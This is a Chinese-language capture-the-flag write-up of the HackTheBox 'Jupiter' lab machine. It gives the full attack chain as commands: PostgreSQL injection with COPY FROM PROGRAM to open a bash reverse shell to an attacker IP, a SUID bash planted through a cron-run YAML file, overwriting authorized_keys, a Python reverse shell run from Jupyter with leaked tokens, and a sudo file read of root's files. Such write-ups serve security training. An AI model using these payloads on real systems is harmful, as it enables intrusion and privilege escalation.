HTB-Jupiter
一、思路概要
1.信息收集发现子域,子域api存在PostgreSQL注入;
2.PostgreSQL注入反弹shell获取postgres
用户权限;
3.查看/etc/passwd
发现juno
和jovian
用户;
4.juno
用户有定时任务文件并存在命令执行;
5.命令执行suid提权获取juno
用户权限;
6.查看端口开放状态发现Jupyter
服务;
7.ssh公钥伪造实现端口转发;
8.token泄露成功登录并通过Jupyter
反弹shell获取jovian
用户权限;
9.sudo -l发现任意文件读取获取root文件。
二、信息收集
nmap扫描端口服务
80端口开放,有域名,写入本地hosts文件
echo "10.10.11.216 jupiter.htb" >> /etc/hosts
浏览器访问,首页如下图

扫描子域
gobuster vhost -u http://jupiter.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
发现子域kiosk.jupiter.htb
,写入本地hosts文件
echo "10.10.11.216 kiosk.jupiter.htb" >> /etc/hosts
访问子域
由标签页标题判断出是Grafana框架,访问的同时Burp抓包看到如下api,其中有PostgresSQL语句执行
三、PostgreSQL注入反弹shell
存在注入(可用SELECT version()
测试是否存在sql注入)
提前在本地kali开启监听,依次执行如下命令反弹shell
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.5/9898 0>&1\"';

成功获取postgres
用户权限
查看/etc/passwd
,除root外还有两个用户:juno
和jovian
四、定时任务命令执行suid提权
查找属于用户 juno
的文件和目录(经尝试,jovian
用户的文件postgres
用户无可读权限)
find / -user juno 2>/dev/null
查看与众不同的文件
cat /dev/shm/network-simulation.yml
此处执行pspy64,对比执行结果,可看到下侧server和client的path和args会被当作命令执行
切换成交互式shell(方便编辑文件)
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
修改vim /dev/shm/network-simulation.yml
- path: /usr/bin/cp
args: /bin/bash /tmp/bash
- path: /usr/bin/chmod
args: u+s /tmp/bash
稍等片刻,可看到/tmp/bash
文件有了suid
执行如下命令提权,成功获取juno
用户权限
/tmp/bash -p
进入juno
用户home目录下查看
cd /home/juno
ls la
juno
用户没有user.txt
读权限,但可看到有.ssh
目录
五、ssh公钥伪造
看到有认证密钥,可以伪造ssh密钥连接
本地用ssh-keygen
生成ssh公私钥
传到靶机,并覆盖掉原来的密钥文件authorized_keys
如果本地kali不是root用户生成的密钥,需要用chmod 600 id_rsa
给私钥添加权限
用如下命令通过私钥连接ssh
ssh -i id_rsa juno@10.10.11.216
查看端口服务
本地kali开启ssh端口转发
ssh -i id_rsa -L 8888:127.0.0.1:8888 juno@10.10.11.216
然后浏览器访问localhost:8888
,需要password或token登录
六、登录凭据泄露二次反弹shell
之前说jovian
用户的文件postgres
用户无可读权限,此时我们看一下,有个目录/opt/solar-flares
find / -user jovian 2>/dev/null
在/opt/solar-flares/logs
目录下有日志文件,随便打开一个看会有token
那么可用如下命令查看所有文件内的所有token
cat * | grep “token”
token很多,用最后一个,因为最后一个是最近登录的有效token,成功登录
打开flares.ipynb
,点击上侧菜单栏File
→New Notebook
→Python3 (ipykernel)
新建一个脚本
写入反弹shell脚本
import os; os.system('bash -c "bash -i >& /dev/tcp/10.10.14.5/9898 0>&1"')
本地kali开启监听,点击Run,成功获取jovian
用户权限
七、任意文件读取获取root文件
sudo -l
查看可执行的命令
执行,提示没找到配置文件
用strings分析一下这个命令文件里可能有什么配置文件
strings /usr/local/bin/sattrack | grep -i config
看到有/tmp/config.json
,但实际去找的时候却没有,于是用如下命令查找config.json
find / -name config.json 2>/dev/null
发现/usr/local/share/sattrack/config.json
,猜测应该是执行命令的时候会从/tmp
目录读取配置文件,那么我们将配置文件复制到/tmp/config.json
cp /usr/local/share/sattrack/config.json /tmp/config.json
查看配置文件内容
再次执行命令,发现tmp目录下生成了一个tle目录,目录内是配置文件中tlesources
的内容,猜测应该是从目标链接把文件下载到tle目录
那么我们修改配置文件tlesources
为如下,直接读取root.txt
file:///root/root.txt
再次执行,发现root.txt成功被读取出来,任意文件读取
sudo /usr/local/bin/sattrack
Over!
